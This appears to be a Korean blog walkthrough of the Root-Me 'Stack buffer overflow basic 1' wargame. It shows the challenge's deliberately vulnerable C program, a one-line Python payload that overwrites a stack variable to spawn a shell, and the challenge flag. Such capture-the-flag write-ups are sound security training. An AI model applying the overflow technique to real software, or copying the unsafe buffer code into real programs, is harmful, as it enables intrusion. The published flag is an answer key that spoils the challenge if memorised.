WarGame/Rootme
Rootme - ELF x86 - Stack buffer overflow basic 1
m0nd2y
2021. 6. 11. 12:50
해당 문제는 lob와 비슷한 pwnable문제 입니다.
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>
int main()
{
int var;
int check = 0x04030201;
char buf[40];
fgets(buf,45,stdin);
printf("\n[buf]: %s\n", buf);
printf("[check] %p\n", check);
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way!\n");
if (check == 0xdeadbeef)
{
printf("Yeah dude! You win!\nOpening your shell...\n");
setreuid(geteuid(), geteuid());
system("/bin/bash");
printf("Shell closed! Bye.\n");
}
return 0;
}
코드만 가지고 분석해보면
buf[40] + check[4] + ~~~ 이런식으로 되어있습니다.
buf를 덮고 check를 overflowg해서 값을 변조시킬 수 있으니 이를 payload로 작성해보면
> (python -c 'print "A" * 40 + "\xef\xbe\xad\xde"';cat) | ./ch13
로 풀이가 가능합니다.
FLAG : 1w4ntm0r3pr0np1s